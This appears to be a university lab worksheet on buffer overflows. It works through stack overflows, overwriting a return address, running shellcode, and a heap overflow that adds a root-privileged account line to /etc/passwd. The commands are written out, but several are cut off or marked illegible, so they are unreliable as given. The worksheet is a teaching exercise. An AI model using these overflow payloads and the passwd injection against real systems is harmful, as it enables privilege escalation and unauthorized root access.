SEC204 Buffer Overflows

We will be using the hacking VM (CompArchitecture) Linux

The programme [illegible] found in the directory booksrc.

1. Run the over[illegible] programme

   $ gcc –o ove[illegible]overflow_example.c

   $ ./overflow_[illegible]67890

   $ overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

What is the result? Look at the code to find out where the vulnerability in the programme is.

2. The notesearch.c program contains a buffer overflow.

You'll need to create /var/notes to run it:

   $ sudo touch /var/notes

If it asks for a password, enter: student

   Compile & try to run the program:

   $ gcc –o notesearch notesearch.c

   $ ./notesearch AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Look at the code to find out where the vulnerability is.

3. Compile and run exploit_notesearch.c.

   What does it do?

   $ gcc exploit_notesearch.c

   $ ./a.out

You have now executed some shellcode that gives you access to another shell – type: *ls*

Look at the code to find out what has happened & why.

STACK-BASED BUFFER OVERFLOWS

4. A buffer allocated on the stack gets overridden. The programme auth_overflow.c demonstrates this concept. View the source code – can you spot [illegible]low?

Compile, run the [illegible]overflow.c

```
$ gcc –g -[illegible]/ auth_overflow.c

$ ./auth_o[illegible]

$ ./auth_overflow test

$ ./auth_overflow brillig

$ ./auth_overflow outgrabe

$ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


$ gdb –q auth_overflow

        (gdb) list 1

        (gdb) break 9

        (gdb) break 16

        (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

        (gdb) x/s password_buffer

        (gdb) x/x &auth_flag

        (gdb) print 0xbffff7bc – 0xbffff7a0

        (gdb) x/16xw password_buffer

        (gdb) cont
```

5. To correct the problem with the return value in auth_overflow.c, we can place auth_flag before the password_buffer in memory.

Try the following with auth_overflow2.c

```
$ gcc –g -                2 auth_overflow2.c
$ ./auth_o
$ ./auth_o
$ ./auth_o
$ ./auth_overflow2 outgrabe
$ ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

$ gdb –q auth_overflow2
        (gdb) list 1
        (gdb) break 9
        (gdb) break 16
        (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
        (gdb) x/s password_buffer
        (gdb) x/x &auth_flag
        (gdb) print 0xbffff7bc – 0xbffff7a0
        (gdb) x/16xw password_buffer
        (gdb) cont
```

6. Experimenting with PERL, BASH

Discovering vulnerabilities can be relatively easy. Experimentation enables how to exploit them to a desired effect.

Experimenting w Perl at command line can be useful to generate overflo e fly.

```
        $ perl –e ‘
```

        –e: execu int. What is printed?

```
        $ perl –e ‘print “\x41” x 20;’
```

        Prints character A (ascii 0x41)

```
        $ perl –e ‘print “A”x20 . “BCD” . “\x61\x66\x67\x69”x2 . “Z”;’
```

        ‘.’ concatenates strings/characters

        Prints what?

```
        $ $(perl –e ‘print “uname”;’)
```

        To execute a shell command like a function, returning an output, surround the command with () and prefix with $.

        The output of perl–e ‘print“uname”;’ will be executed.

Creating Overflow Buffers

7. Create some overflow buffers for previous examples

```
    $ ./overflow_example $(perl –e ‘print “A”x30’)
```

Using gdb, we can work out that the distance between buffer_two and the value variable is 20 bytes. We can now overwrite the value variable to 0xdeadbeef

```
        $ ./overflow_example $(perl –e ‘print “A”x20 . “\xef\xbe\xad\xde” ’)
```

Changing the Return Address

8. Create an overflow buffer for auth_overflow2 to overwrite the return address to the section displaying the Access Granted message

```
    $ gcc –g –o auth_overflow2 auth_overflow2.c
    $ gdb –q ./auth_overflow2
        (gdb) disass main

    $ ./auth_overflow2 $(perl –e ‘print “\xbf\x84\x04\x08\”x10’)
```

Privilege Escalation

9. The notesearch.c program contains a buffer overflow at:

```
strcpy(sea[illegible]1]);
```

The exploit code [illegible]search.c fills a buffer to overwrite the return address t[illegible]on where shellcode has been injected

```
$ gcc –g e[illegible]ch.c
$ gdb –q ./a.out
        (gdb) list 1
        (gdb) break 26
        (gdb) break 27
        (gdb) break 28
        (gdb) run
        (gdb) x/40x buffer
        (gdb) x/s command
        (gdb) cont
```

We can try to determine the return address experimentally

```
$ gcc exploit_notesearch.c
$ ./a.out 100
$ ./a.out 200
```

Found it yet?

Determining Return Address

10. The exploit code in exploit_notesearch.c fills a buffer to overwrite the return address.

We want the ret [illegible] point to the shellcode.

To determine th [illegible] shellcode at runtime is very difficult, so we use NOP an [illegible] n address somewhere within the NOP sled

To determine th [illegible] s, we experiment with different offsets

We can also use for loop to test different offsets

```
$ gcc exploit_notesearch.c
$ ./a.out 100
$ ./a.out 200
$ ./a.out 300
```

HEAP-BASED OVERFLOWS

11. Apart from the stack, buffer overflows can occur in other memory segments.

Take a look at t[illegible] of notetaker.c.

```
buffer = (c[illegible]c(100);
datafile = [illegible]oc(20);
strcpy(dat[illegible]");
if(argc < 2)                      // If there aren't command line
arguments
usage (argv[0], datafile);        // display usage message and exit
strcpy(buffer, argv[1]);          // copy into buffer
printf("[DEBUG] buffer   @ %p: \'%s\'\n", buffer, buffer);
printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);
```

The difference between buffer and datafile is 104 bytes

```
$ gcc -o notetaker notetaker.c
$ ./notetaker test
$ gdb –q
        (gdb) print 0x804a070 – 0x804a008
The result should be: $1 = 104
        (gdb) quit
```

We can fill the buffer with 104 bytes

```
$ ./notetaker $(perl –e ‘print “A”x104’)
```

We can fill the buffer with 104 bytes and the file testfile

```
$ ./notetaker $(perl –e ‘print “A”x104 . “testfile” ’)
```

This will overwrite the data file buffer with the string testfile. The program now logs on testfile, rather than var/notes

Rather than write to testfile, write to /etc/passwd

```
$ mkdir /tmp/etc
$ ln –s /bi[illegible]passwd
$ ls –l /tm[illegible]
```

Contents shoul[illegible]bin/bash

```
$ perl –e '[illegible]Xq2wKiyI43A2:0:0:me:/root:/tmp"' | wc –c
```

This shou[illegible]

```
$ perl –e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x50 .
":/root:/tmp"' | wc –c
```

This should give 85 or 86

```
$ gdb –q
    (gdb) print 184 – 85 + 50
```

This should give $1 = 69

```
    (gdb) q
$ perl –e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x69 .
":/root:/tmp"' | wc –c
```

This should give 104

We can finally run

```
$ ./notetaker $(perl –e 'print "myroot:XXq2wKiyI43A2:0:0:" . "A"x69
. ":/root:/tmp/etc/passwd"')
```

FURTHER READING Hacking: The art of exploitation, section 0x300, pg115-155